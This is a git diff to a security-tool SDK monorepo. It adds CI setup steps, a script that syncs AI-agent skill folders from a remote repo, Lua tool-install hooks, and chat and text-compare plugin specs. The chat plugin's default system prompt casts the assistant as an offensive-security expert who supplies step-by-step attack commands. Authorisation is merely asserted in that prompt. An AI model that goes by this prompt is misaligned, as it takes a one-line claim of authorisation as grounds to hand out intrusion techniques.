diff --git a/.github/workflows/publish-release-github.yml b/.github/workflows/publish-release-github.yml index 226deb5..e961383 100644 --- a/.github/workflows/publish-release-github.yml +++ b/.github/workflows/publish-release-github.yml @@ -72,6 +72,12 @@ jobs: fi printf 'NPM_DIST_TAG=%s\n' "$tag" >> "$GITHUB_ENV" + - name: Install Mise + uses: threatmap/action-mise-action@5ac50f778e26fac95da98d50503682459e86d566 # v3.2.0 + with: + version: ${{ vars.CI__MISE_VERSION }} + experimental: true # Necessary for custom backend plugins + - name: Install lockfile-pinned dependencies run: pnpm install --frozen-lockfile diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index add1650..a35860b 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -50,6 +50,12 @@ jobs: test "$(git rev-parse HEAD)" = "$tag_sha" test -z "$(git branch --show-current)" + - name: Install Mise + uses: threatmap/action-mise-action@5ac50f778e26fac95da98d50503682459e86d566 # v3.2.0 + with: + version: ${{ vars.CI__MISE_VERSION }} + experimental: true # Necessary for custom backend plugins + - name: Install lockfile-pinned dependencies run: pnpm install --frozen-lockfile diff --git a/.github/workflows/sdk-client-tests.yml b/.github/workflows/sdk-client-tests.yml index e04559f..1d97eb2 100644 --- a/.github/workflows/sdk-client-tests.yml +++ b/.github/workflows/sdk-client-tests.yml @@ -44,6 +44,12 @@ jobs: with: persist-credentials: false + - name: Install Mise + uses: threatmap/action-mise-action@5ac50f778e26fac95da98d50503682459e86d566 # v3.2.0 + with: + version: ${{ vars.CI__MISE_VERSION }} + experimental: true # Necessary for custom backend plugins + - name: Install dependencies run: pnpm install diff --git a/.github/workflows/validate.yml b/.github/workflows/validate.yml index d08db57..8078af1 100644 --- a/.github/workflows/validate.yml +++ b/.github/workflows/validate.yml @@ -25,6 +25,13 @@ jobs: with: persist-credentials: false + - name: Install Mise + uses: jdx/mise-action@2d8d4cafcbd33be2ea37d2b6f5ad595363d1f1ca # v5.1.1 + with: + experimental: true # Necessary for custom backend plugins + # This repo is itself the toolshed plugin; cached plugin clones go stale. Tool installs are fast (~5s), so skip the cache. + cache: false + - name: Install dependencies run: pnpm install diff --git a/.mise/config.toml b/.mise/config.toml index 1364da6..e4f2a17 100644 --- a/.mise/config.toml +++ b/.mise/config.toml @@ -1,5 +1,5 @@ [plugins] -toolshed = "https://github.com/threatcode/mise-toolshed" +toolshed = "https://github.com/threatcode/threatmap" [tools] node = "24.11.1" diff --git a/README.md b/README.md index adace1e..e2827b3 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,16 @@ This is the monorepo for all the JS SDK and related tooling of Threatmap. It con - `quickjs-types`: Typing for the QuickJS Engine - `server-auth`: Client to authenticate with a Threatmap Instance +## Creating a new plugin + +Run `pnpm --filter @threatmap/create-plugin build` once, then: + +```sh +node tools/create-plugin/dist/index.mjs +``` + +and follow the prompts. The scaffolder creates a plugin package (by default under `packages/plugins/`) matching the monorepo conventions. + ## Release automation SDK releases are not published from branch pushes. The three product-coupled packages (sdk-backend, sdk-frontend, sdk-workflow) are versioned together on `release/vX.Y.Z` branches. Publishing an immutable `vX.Y.Z[-rc.N]` GitHub Release triggers separate npm and GitHub Packages workflows. Both publishers require the release branch tip to match the tag; wait for both to finish before advancing that branch. diff --git a/bin/get-skills b/bin/get-skills new file mode 100755 index 0000000..695d458 --- /dev/null +++ b/bin/get-skills @@ -0,0 +1,129 @@ +#!/usr/bin/env sh +# Clone or update ai-ops, then sync skills/ under the destination root (default: $PWD). +# Copy semantics: each destination skill dir is replaced to match upstream (removed skills disappear locally). + +set -eu + +REPO_URL="" +DEST_ROOT="" + +while [ $# -gt 0 ]; do + case "$1" in + --url) + REPO_URL="${2:-}" + shift 2 + ;; + --destination) + DEST_ROOT="${2:-}" + shift 2 + ;; + *) + echo "toolshed:get-skills: unknown argument: $1" >&2 + exit 1 + ;; + esac +done + +REPO_URL="${REPO_URL:-ssh://git@github.com/threatcode/ai-ops.git}" +if [ -z "${DEST_ROOT}" ]; then + DEST_ROOT="${SKILLS_DESTINATION:-$PWD}" +fi + +DEST_ROOT="$(CDPATH= cd -- "$DEST_ROOT" && pwd)" + +if ! command -v git >/dev/null 2>&1; then + echo "toolshed:get-skills: git is required but was not found on PATH" >&2 + exit 1 +fi + +CACHE="${AI_OPS_SKILLS_CACHE:-${XDG_CACHE_HOME:-$HOME/.cache}/mise-toolshed/ai-ops}" +REF="${AI_OPS_SKILLS_REF:-}" + +ensure_repo() { + if [ -d "$CACHE/.git" ]; then + return 0 + fi + _parent="$(dirname "$CACHE")" + mkdir -p "$_parent" + echo "toolshed:get-skills: cloning $REPO_URL into $CACHE" >&2 + echo "toolshed:get-skills: first run downloads the repo; --progress shows activity (large monorepos can take minutes)." >&2 + # Shallow + single default branch: much faster than a full clone. --progress prints receiving/compressing lines. + # No GIT_TERMINAL_PROMPT=0 here so HTTPS/SSH can prompt for credentials if needed (avoids some silent stalls). + git clone --progress --depth 1 --single-branch "$REPO_URL" "$CACHE" +} + +sync_ref() { + _target="$1" + if [ "$_target" = "latest" ]; then + git -C "$CACHE" fetch origin + if git -C "$CACHE" rev-parse --verify origin/main >/dev/null 2>&1; then + git -C "$CACHE" checkout -B main origin/main + elif git -C "$CACHE" rev-parse --verify origin/master >/dev/null 2>&1; then + git -C "$CACHE" checkout -B master origin/master + else + echo "toolshed:get-skills: neither origin/main nor origin/master exists after fetch" >&2 + exit 1 + fi + return 0 + fi + + git -C "$CACHE" fetch origin --tags --prune 2>/dev/null || git -C "$CACHE" fetch origin 2>/dev/null || true + + if git -C "$CACHE" rev-parse --verify "$_target^{commit}" >/dev/null 2>&1; then + git -C "$CACHE" checkout "$_target" + return 0 + fi + + echo "toolshed:get-skills: ref $_target not found in ai-ops, using default branch" >&2 + sync_ref latest +} + +ensure_repo + +# Non-interactive fetch/checkout: fail fast instead of hanging on credential prompts in CI. +export GIT_TERMINAL_PROMPT=0 + +if [ -n "$REF" ]; then + sync_ref "$REF" +else + sync_ref latest +fi + +SRC="$CACHE/skills" +if [ ! -d "$SRC" ]; then + echo "toolshed:get-skills: missing $SRC after checkout (is the repo OK?)" >&2 + exit 1 +fi + +sync_one() { + _dest="$1" + mkdir -p "$_dest" + if command -v rsync >/dev/null 2>&1; then + rsync -a --delete "$SRC"/ "$_dest"/ + return + fi + for _d in "$SRC"/*; do + [ -e "$_d" ] || continue + if [ ! -d "$_d" ]; then + continue + fi + _base="$(basename "$_d")" + rm -rf "$_dest/$_base" + cp -R "$_d" "$_dest/$_base" + done + if [ -d "$_dest" ]; then + for _existing in "$_dest"/*; do + [ -e "$_existing" ] || continue + _base="$(basename "$_existing")" + if [ ! -d "$SRC/$_base" ]; then + rm -rf "$_existing" + fi + done + fi +} + +sync_one "$DEST_ROOT/.claude/skills" +sync_one "$DEST_ROOT/.agents/skills" +sync_one "$DEST_ROOT/.cursor/skills" + +echo "toolshed:get-skills: synced from $SRC to .claude/skills, .agents/skills, .cursor/skills (under $DEST_ROOT)" >&2 \ No newline at end of file diff --git a/hooks/backend_exec_env.lua b/hooks/backend_exec_env.lua new file mode 100644 index 0000000..fbdb870 --- /dev/null +++ b/hooks/backend_exec_env.lua @@ -0,0 +1,17 @@ +--- Prepends install bin to PATH. +--- Both tools get the same treatment (gh-aw doesn't install a binary but this is harmless). +function PLUGIN:BackendExecEnv(ctx) + local file = require("file") + + local tool = ctx.tool + if tool ~= "get-skills" and tool ~= "gh-aw" then + error("unknown tool: " .. tostring(tool) .. " (only 'get-skills' or 'gh-aw' is supported)") + end + + local bin_path = file.join_path(ctx.install_path, "bin") + return { + env_vars = { + { key = "PATH", value = bin_path }, + }, + } +end \ No newline at end of file diff --git a/hooks/backend_install.lua b/hooks/backend_install.lua new file mode 100644 index 0000000..bc18ecd --- /dev/null +++ b/hooks/backend_install.lua @@ -0,0 +1,60 @@ +local function process_gh_aw(ctx) + local version = ctx.version or "" + if version == "" or version == "latest" then + error("toolshed:gh-aw requires an explicit version tag (e.g. v0.2.0); 'latest' is not supported") + end + + local cmd = require("cmd") + cmd.exec("command -v gh >/dev/null 2>&1") + + -- `gh extension install` fails if already installed; remove first for idempotency. + cmd.exec("gh extension remove github/gh-aw >/dev/null 2>&1 || true") + cmd.exec('gh extension install "github/gh-aw" --pin ' .. (version:match("^v") and version or "v" .. version)) + + return {} +end + +local function process_get_skills(ctx) + local cmd = require("cmd") + local file = require("file") + + local install_path = ctx.install_path + if not install_path or install_path == "" then + error("install_path cannot be empty") + end + + local bin_src = file.join_path(RUNTIME.pluginDirPath, "bin", "get-skills") + if not file.exists(bin_src) then + error("plugin is missing bin/get-skills at " .. bin_src) + end + + local bin_dir = file.join_path(install_path, "bin") + cmd.exec("mkdir -p " .. '"' .. bin_dir:gsub('"', '\\"') .. '"') + + local bin_dst = file.join_path(bin_dir, "get-skills") + local out, open_err = io.open(bin_dst, "wb") + if not out then + error("failed to write " .. bin_dst .. ": " .. tostring(open_err)) + end + out:write(file.read(bin_src)) + out:close() + + if RUNTIME.osType ~= "windows" then + cmd.exec('chmod +x "' .. bin_dst:gsub('"', '\\"') .. '"') + end + + return {} +end + +--- Installs the requested tool. +function PLUGIN:BackendInstall(ctx) + local tool = ctx.tool + if tool == "gh-aw" then + return process_gh_aw(ctx) + end + if tool == "get-skills" then + return process_get_skills(ctx) + end + + error("unknown tool: " .. tostring(tool) .. " (only 'get-skills' or 'gh-aw' is supported)") +end \ No newline at end of file diff --git a/hooks/backend_list_versions.lua b/hooks/backend_list_versions.lua new file mode 100644 index 0000000..337fe94 --- /dev/null +++ b/hooks/backend_list_versions.lua @@ -0,0 +1,33 @@ +local function process_gh_aw() + local versions = {} + + local p = io.popen("git ls-remote --tags --refs https://github.com/github/gh-aw.git 2>/dev/null") + if p then + for line in p:lines() do + local ref = line:match("%s+refs/tags/(.+)$") + if ref and ref ~= "" then + table.insert(versions, ref) + end + end + p:close() + end + + return { versions = versions } +end + +local function process_get_skills() + return { versions = { "latest" } } +end + +--- Returns installable versions for the requested tool. +function PLUGIN:BackendListVersions(ctx) + local tool = ctx.tool + if tool == "gh-aw" then + return process_gh_aw() + end + if tool == "get-skills" then + return process_get_skills() + end + + error("unknown tool: " .. tostring(tool) .. " (only 'get-skills' or 'gh-aw' is supported)") +end \ No newline at end of file diff --git a/knip.config.ts b/knip.config.ts index 6783d87..506dfd9 100644 --- a/knip.config.ts +++ b/knip.config.ts @@ -4,6 +4,7 @@ const config: KnipConfig = { ignore: [ "scripts/**", "package.json", + "tools/create-plugin/templates/**", ".github/**", "**/typedoc.json", "packages/sdk/sdk-frontend/**", diff --git a/metadata.lua b/metadata.lua new file mode 100644 index 0000000..9e7dcba --- /dev/null +++ b/metadata.lua @@ -0,0 +1,6 @@ +PLUGIN = { + name = "toolshed", + version = "1.0.0", + description = "Backend plugin for ThreatMap toolshed tools (get-skills, gh-aw)", + author = "ThreatCode", +} diff --git a/package.json b/package.json index b515500..bc97eb4 100644 --- a/package.json +++ b/package.json @@ -5,6 +5,7 @@ "lint": "eslint \"packages/**/src/**/*.{ts,vue,js}\" --fix", "typecheck": "pnpm -r typecheck", "knip": "knip", + "create-plugin": "node tools/create-plugin/dist/index.mjs", "generate:doc": "pnpm -r generate:doc" }, "engines": { diff --git a/packages/plugins/chatio/README.md b/packages/plugins/chatio/README.md new file mode 100644 index 0000000..c9b2faa --- /dev/null +++ b/packages/plugins/chatio/README.md @@ -0,0 +1,3 @@ +# @threatmap/chatio + +Specification for the ThreatMap Chatio plugin. diff --git a/packages/plugins/chatio/package.json b/packages/plugins/chatio/package.json new file mode 100644 index 0000000..051d4f4 --- /dev/null +++ b/packages/plugins/chatio/package.json @@ -0,0 +1,33 @@ +{ + "name": "@threatmap/chatio", + "version": "0.0.0", + "description": "Specification for the ThreatMap Chatio plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "tsdown": "0.20.1" + } +} diff --git a/packages/plugins/chatio/src/api.ts b/packages/plugins/chatio/src/api.ts new file mode 100644 index 0000000..78c1eeb --- /dev/null +++ b/packages/plugins/chatio/src/api.ts @@ -0,0 +1,19 @@ +import type { ChatSession, CreateSession, SendMessage } from "./message.js"; +import type { ModelItem, ModelUserConfig, Provider } from "./model.js"; +import type { Result } from "./result.js"; +import type { ChatSettings } from "./settings.js"; + +export type API = { + getSessions: () => Result; + getSession: (sessionId: string) => Result; + createSession: (input: CreateSession) => Promise>; + deleteSession: (sessionId: string) => Promise>; + sendMessage: (input: SendMessage) => Promise>; + + getModels: () => Result; + setModelConfig: (config: ModelUserConfig) => Result; + getSettings: () => Result; + updateSettings: (updates: Partial) => Result; + + getProviderStatuses: () => Result<{ id: Provider; isConfigured: boolean }[]>; +}; diff --git a/packages/plugins/chatio/src/events.ts b/packages/plugins/chatio/src/events.ts new file mode 100644 index 0000000..c56b7a1 --- /dev/null +++ b/packages/plugins/chatio/src/events.ts @@ -0,0 +1,8 @@ +import type { ChatSession } from "./message.js"; + +export type Events = { + "session:created": (session: ChatSession) => void; + "session:updated": (session: ChatSession) => void; + "session:deleted": (sessionId: string) => void; + "message:streamed": (sessionId: string, text: string) => void; +}; diff --git a/packages/plugins/chatio/src/index.ts b/packages/plugins/chatio/src/index.ts new file mode 100644 index 0000000..d7b203d --- /dev/null +++ b/packages/plugins/chatio/src/index.ts @@ -0,0 +1,55 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export { type Result, ok, err } from "./result.js"; + +export { + PROVIDERS, + type Provider, + ModelCapabilitiesSchema, + type ModelCapabilities, + ModelItemSchema, + type ModelItem, + ModelUserConfigSchema, + type ModelUserConfig, + supportsProviderReasoning, + DEFAULT_MODELS, +} from "./model.js"; + +export { + CHAT_ROLES, + type ChatRole, + TextPartSchema, + ImagePartSchema, + MessagePartSchema, + type MessagePart, + ChatMessageSchema, + type ChatMessage, + ChatSessionSchema, + type ChatSession, + CreateSessionSchema, + type CreateSession, + SendMessageSchema, + type SendMessage, +} from "./message.js"; + +export { + ChatSettingsSchema, + type ChatSettings, + DEFAULT_CHAT_SETTINGS, + ProviderSettingsSchema, + type ProviderSettings, + MAX_FILE_SIZE_BYTES, + MAX_TOTAL_FILES_SIZE_BYTES, +} from "./settings.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "chatio"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { Events } from "./events.js"; diff --git a/packages/plugins/chatio/src/message.ts b/packages/plugins/chatio/src/message.ts new file mode 100644 index 0000000..bd685a2 --- /dev/null +++ b/packages/plugins/chatio/src/message.ts @@ -0,0 +1,59 @@ +import { z } from "zod"; + +export const CHAT_ROLES = ["system", "user", "assistant"] as const; + +export type ChatRole = (typeof CHAT_ROLES)[number]; + +export const TextPartSchema = z.object({ + type: z.literal("text"), + text: z.string(), +}); + +export const ImagePartSchema = z.object({ + type: z.literal("image"), + mediaType: z.string(), + data: z.string(), +}); + +export const MessagePartSchema = z.discriminatedUnion("type", [ + TextPartSchema, + ImagePartSchema, +]); + +export type MessagePart = z.infer; + +export const ChatMessageSchema = z.object({ + id: z.string().min(1), + role: z.enum(CHAT_ROLES), + parts: z.array(MessagePartSchema).min(1), + createdAt: z.string(), +}); + +export type ChatMessage = z.infer; + +export const ChatSessionSchema = z.object({ + id: z.string().min(1), + title: z.string(), + model: z.string().optional(), + messages: z.array(ChatMessageSchema), + createdAt: z.string(), + updatedAt: z.string(), +}); + +export type ChatSession = z.infer; + +export const CreateSessionSchema = ChatSessionSchema.omit({ + id: true, + createdAt: true, + updatedAt: true, +}); + +export type CreateSession = z.infer; + +export const SendMessageSchema = z.object({ + sessionId: z.string().min(1), + text: z.string().min(1), + model: z.string().optional(), +}); + +export type SendMessage = z.infer; diff --git a/packages/plugins/chatio/src/model.ts b/packages/plugins/chatio/src/model.ts new file mode 100644 index 0000000..61f4385 --- /dev/null +++ b/packages/plugins/chatio/src/model.ts @@ -0,0 +1,72 @@ +import { z } from "zod"; + +export const PROVIDERS = [ + "openai", + "anthropic", + "google", + "deepseek", + "openrouter", + "xai", +] as const; + +export type Provider = (typeof PROVIDERS)[number]; + +export const ModelCapabilitiesSchema = z.object({ + reasoning: z.boolean(), +}); + +export type ModelCapabilities = z.infer; + +export const ModelItemSchema = z.object({ + id: z.string().min(1), + name: z.string().min(1), + provider: z.enum(PROVIDERS), + capabilities: ModelCapabilitiesSchema, + contextWindow: z.number().int().positive().optional(), + isCustom: z.boolean().optional(), +}); + +export type ModelItem = z.infer; + +export const ModelUserConfigSchema = z.object({ + id: z.string(), + enabled: z.boolean(), +}); + +export type ModelUserConfig = z.infer; + +const reasoningDisabledProviders = new Set(["openai"]); + +export const supportsProviderReasoning = (provider: Provider): boolean => + !reasoningDisabledProviders.has(provider); + +export const DEFAULT_MODELS: ModelItem[] = [ + { + id: "openai/gpt-5", + name: "GPT-5", + provider: "openai", + capabilities: { reasoning: false }, + contextWindow: 400_000, + }, + { + id: "anthropic/claude-opus-4", + name: "Claude Opus 4", + provider: "anthropic", + capabilities: { reasoning: true }, + contextWindow: 200_000, + }, + { + id: "google/gemini-2.5-pro", + name: "Gemini 2.5 Pro", + provider: "google", + capabilities: { reasoning: true }, + contextWindow: 1_000_000, + }, + { + id: "deepseek/deepseek-r1", + name: "DeepSeek R1", + provider: "deepseek", + capabilities: { reasoning: true }, + contextWindow: 128_000, + }, +]; diff --git a/packages/plugins/chatio/src/result.ts b/packages/plugins/chatio/src/result.ts new file mode 100644 index 0000000..5522eb2 --- /dev/null +++ b/packages/plugins/chatio/src/result.ts @@ -0,0 +1,10 @@ +export type Result = + { kind: "Ok"; value: T } | { kind: "Error"; error: string }; + +export function ok(value: T): Result { + return { kind: "Ok", value }; +} + +export function err(error: string): Result { + return { kind: "Error", error }; +} diff --git a/packages/plugins/chatio/src/settings.ts b/packages/plugins/chatio/src/settings.ts new file mode 100644 index 0000000..e326ccc --- /dev/null +++ b/packages/plugins/chatio/src/settings.ts @@ -0,0 +1,29 @@ +import { z } from "zod"; + +const DEFAULT_SYSTEM_PROMPT = `You are a senior cybersecurity specialist with 20+ years of experience in penetration testing, red team operations, threat hunting, reverse engineering, vulnerability research, bug bounty, and offensive security tooling. + +Provide expert-level assistance for fully authorized security testing. Be concise but technically complete. Use step-by-step instructions, commands, and practical techniques. Include detection considerations and alternatives. The user uses the ThreatMap HTTP proxy.`; + +export const ChatSettingsSchema = z.object({ + maxMessages: z.number().int().positive(), + systemPrompt: z.string(), + autoSave: z.boolean(), +}); + +export type ChatSettings = z.infer; + +export const DEFAULT_CHAT_SETTINGS: ChatSettings = { + maxMessages: 25, + systemPrompt: DEFAULT_SYSTEM_PROMPT, + autoSave: true, +}; + +export const ProviderSettingsSchema = z.record( + z.string(), + z.object({ apiKey: z.string().optional() }), +); + +export type ProviderSettings = z.infer; + +export const MAX_FILE_SIZE_BYTES = 10 * 1024 * 1024; +export const MAX_TOTAL_FILES_SIZE_BYTES = 50 * 1024 * 1024; diff --git a/packages/plugins/chatio/tsconfig.json b/packages/plugins/chatio/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/chatio/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/chatio/tsdown.config.ts b/packages/plugins/chatio/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/chatio/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/packages/plugins/compare/README.md b/packages/plugins/compare/README.md new file mode 100644 index 0000000..9929aa4 --- /dev/null +++ b/packages/plugins/compare/README.md @@ -0,0 +1,3 @@ +# @threatmap/compare + +Specification for the ThreatMap Compare plugin. diff --git a/packages/plugins/compare/package.json b/packages/plugins/compare/package.json new file mode 100644 index 0000000..ef5872b --- /dev/null +++ b/packages/plugins/compare/package.json @@ -0,0 +1,33 @@ +{ + "name": "@threatmap/compare", + "version": "0.0.0", + "description": "Specification for the ThreatMap Compare plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "tsdown": "0.20.1" + } +} diff --git a/packages/plugins/compare/src/api.ts b/packages/plugins/compare/src/api.ts new file mode 100644 index 0000000..7f45a16 --- /dev/null +++ b/packages/plugins/compare/src/api.ts @@ -0,0 +1,19 @@ +import type { + AddFileItemInput, + AddItemInput, + AddRequestsInput, + CompareItem, + ItemSelection, + Panel, +} from "./item.js"; +import type { Result } from "./result.js"; + +export type API = { + listItems: (panel: Panel) => Promise>; + addItem: (input: AddItemInput) => Promise>; + addFileItem: (input: AddFileItemInput) => Promise>; + addRequests: (input: AddRequestsInput) => Promise>; + removeItems: (selection: ItemSelection) => Promise>; + moveItems: (selection: ItemSelection) => Promise>; + clearPanel: (panel: Panel) => Promise>; +}; diff --git a/packages/plugins/compare/src/diff.ts b/packages/plugins/compare/src/diff.ts new file mode 100644 index 0000000..cdd85f3 --- /dev/null +++ b/packages/plugins/compare/src/diff.ts @@ -0,0 +1,205 @@ +import type { Panel } from "./item.js"; + +export const DIFF_MODES = ["words", "bytes", "lines"] as const; + +export type DiffMode = (typeof DIFF_MODES)[number]; + +export type DiffOptions = { + ignoreWhitespace: boolean; + ignoreCase: boolean; +}; + +export const DEFAULT_DIFF_OPTIONS: DiffOptions = { + ignoreWhitespace: false, + ignoreCase: false, +}; + +export type DiffInput = { + original: string; + modified: string; + mode: DiffMode; + options?: DiffOptions; +}; + +export type RowKind = "added" | "deleted" | "modified" | "unchanged"; + +export type Segment = { text: string; kind: RowKind }; + +export type Cell = { lineNumber: number; segments: Segment[] }; + +export type Row = { kind: RowKind } & Record; + +export type DiffSummary = Record; + +export type DiffResult = { + mode: DiffMode; + rows: Row[]; + summary: DiffSummary; +}; + +const splitLines = (text: string): string[] => text.split(/\r?\n/); + +const normalize = (text: string, options: DiffOptions): string => { + let value = text; + if (options.ignoreCase) value = value.toLowerCase(); + if (options.ignoreWhitespace) value = value.replace(/\s+/g, ""); + return value; +}; + +const tokenize = (text: string, mode: DiffMode): string[] => { + if (mode === "words") return text.split(/(\s+)/).filter((t) => t.length > 0); + if (mode === "bytes") return Array.from(text); + return [text]; +}; + +const lcsPairs = ( + a: string[], + b: string[], + key: (value: string) => string, +): Array<[number, number]> => { + const table: number[][] = Array.from({ length: a.length + 1 }, () => + new Array(b.length + 1).fill(0), + ); + for (let i = a.length - 1; i >= 0; i -= 1) { + for (let j = b.length - 1; j >= 0; j -= 1) { + table[i]![j] = + key(a[i]!) === key(b[j]!) + ? table[i + 1]![j + 1]! + 1 + : Math.max(table[i + 1]![j]!, table[i]![j + 1]!); + } + } + const pairs: Array<[number, number]> = []; + let i = 0; + let j = 0; + while (i < a.length && j < b.length) { + if (key(a[i]!) === key(b[j]!)) { + pairs.push([i, j]); + i += 1; + j += 1; + } else if (table[i + 1]![j]! >= table[i]![j + 1]!) { + i += 1; + } else { + j += 1; + } + } + return pairs; +}; + +const segmentsForPair = ( + original: string, + modified: string, + mode: DiffMode, + options: DiffOptions, +): { original: Segment[]; modified: Segment[] } => { + if (mode === "lines") { + return { + original: [{ text: original, kind: "deleted" }], + modified: [{ text: modified, kind: "added" }], + }; + } + const aTokens = tokenize(original, mode); + const bTokens = tokenize(modified, mode); + const pairs = lcsPairs(aTokens, bTokens, (t) => normalize(t, options)); + const usedA = new Set(pairs.map(([i]) => i)); + const usedB = new Set(pairs.map(([, j]) => j)); + return { + original: aTokens.map((text, i) => ({ + text, + kind: usedA.has(i) ? "unchanged" : "deleted", + })), + modified: bTokens.map((text, i) => ({ + text, + kind: usedB.has(i) ? "unchanged" : "added", + })), + }; +}; + +export const compareTexts = (input: DiffInput): DiffResult => { + const options = input.options ?? DEFAULT_DIFF_OPTIONS; + const originalLines = splitLines(input.original); + const modifiedLines = splitLines(input.modified); + const pairs = lcsPairs(originalLines, modifiedLines, (line) => + normalize(line, options), + ); + + const rows: Row[] = []; + let i = 0; + let j = 0; + let originalNumber = 1; + let modifiedNumber = 1; + + const pushUnchanged = (indexOriginal: number, indexModified: number) => { + const text = originalLines[indexOriginal]!; + const segment: Segment = { text, kind: "unchanged" }; + rows.push({ + kind: "unchanged", + original: { lineNumber: originalNumber, segments: [segment] }, + modified: { lineNumber: modifiedNumber, segments: [segment] }, + }); + originalNumber += 1; + modifiedNumber += 1; + }; + + const pushBlock = (deleted: string[], added: string[]) => { + const shared = Math.min(deleted.length, added.length); + for (let k = 0; k < shared; k += 1) { + const segments = segmentsForPair( + deleted[k]!, + added[k]!, + input.mode, + options, + ); + rows.push({ + kind: "modified", + original: { lineNumber: originalNumber, segments: segments.original }, + modified: { lineNumber: modifiedNumber, segments: segments.modified }, + }); + originalNumber += 1; + modifiedNumber += 1; + } + for (let k = shared; k < deleted.length; k += 1) { + rows.push({ + kind: "deleted", + original: { + lineNumber: originalNumber, + segments: [{ text: deleted[k]!, kind: "deleted" }], + }, + modified: undefined, + }); + originalNumber += 1; + } + for (let k = shared; k < added.length; k += 1) { + rows.push({ + kind: "added", + original: undefined, + modified: { + lineNumber: modifiedNumber, + segments: [{ text: added[k]!, kind: "added" }], + }, + }); + modifiedNumber += 1; + } + }; + + for (const [pi, pj] of pairs) { + const deleted = originalLines.slice(i, pi); + const added = modifiedLines.slice(j, pj); + if (deleted.length > 0 || added.length > 0) pushBlock(deleted, added); + pushUnchanged(pi, pj); + i = pi + 1; + j = pj + 1; + } + const deleted = originalLines.slice(i); + const added = modifiedLines.slice(j); + if (deleted.length > 0 || added.length > 0) pushBlock(deleted, added); + + const summary: DiffSummary = { + added: 0, + deleted: 0, + modified: 0, + unchanged: 0, + }; + for (const row of rows) summary[row.kind] += 1; + + return { mode: input.mode, rows, summary }; +}; diff --git a/packages/plugins/compare/src/events.ts b/packages/plugins/compare/src/events.ts new file mode 100644 index 0000000..bac5222 --- /dev/null +++ b/packages/plugins/compare/src/events.ts @@ -0,0 +1,3 @@ +export type Events = { + itemsChanged: () => void; +}; diff --git a/packages/plugins/compare/src/index.ts b/packages/plugins/compare/src/index.ts new file mode 100644 index 0000000..22c4459 --- /dev/null +++ b/packages/plugins/compare/src/index.ts @@ -0,0 +1,54 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export { type Result, ok, err } from "./result.js"; + +export { + PANELS, + type Panel, + ITEM_KINDS, + type ItemKind, + MAX_ITEM_MEGABYTES, + MAX_ITEM_BYTES, + ITEM_TOO_LARGE_MESSAGE, + MAX_REQUESTS_PER_ADD, + CompareItemSchema, + type CompareItem, + AddItemInputSchema, + type AddItemInput, + AddFileItemInputSchema, + type AddFileItemInput, + AddRequestsInputSchema, + type AddRequestsInput, + ItemSelectionSchema, + type ItemSelection, + getOtherPanel, + mapPanels, + measureBytes, +} from "./item.js"; + +export { + DIFF_MODES, + type DiffMode, + type DiffOptions, + DEFAULT_DIFF_OPTIONS, + type DiffInput, + type RowKind, + type Segment, + type Cell, + type Row, + type DiffSummary, + type DiffResult, + compareTexts, +} from "./diff.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "compare"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { Events } from "./events.js"; diff --git a/packages/plugins/compare/src/item.ts b/packages/plugins/compare/src/item.ts new file mode 100644 index 0000000..e5ad91d --- /dev/null +++ b/packages/plugins/compare/src/item.ts @@ -0,0 +1,98 @@ +import { z } from "zod"; + +export const PANELS = ["original", "modified"] as const; + +export type Panel = (typeof PANELS)[number]; + +export const ITEM_KINDS = ["request", "response", "file", "clipboard"] as const; + +export type ItemKind = (typeof ITEM_KINDS)[number]; + +export const MAX_ITEM_MEGABYTES = 10; + +export const MAX_ITEM_BYTES = MAX_ITEM_MEGABYTES * 1024 * 1024; + +export const ITEM_TOO_LARGE_MESSAGE = `Items larger than ${MAX_ITEM_MEGABYTES} MB are not supported.`; + +export const MAX_REQUESTS_PER_ADD = 25; + +export const CompareItemSchema = z.object({ + id: z.number().int().positive(), + kind: z.enum(ITEM_KINDS), + source: z.string(), + data: z.string(), + createdAt: z.string(), +}); + +export type CompareItem = z.infer; + +export const AddItemInputSchema = z.object({ + panel: z.enum(PANELS), + kind: z.enum(ITEM_KINDS), + source: z.string().min(1), + data: z.string().min(1, "The item is empty."), +}); + +export type AddItemInput = z.infer; + +export const AddFileItemInputSchema = AddItemInputSchema.omit({ + data: true, +}).extend({ + path: z.string().min(1, "The uploaded file has no path."), 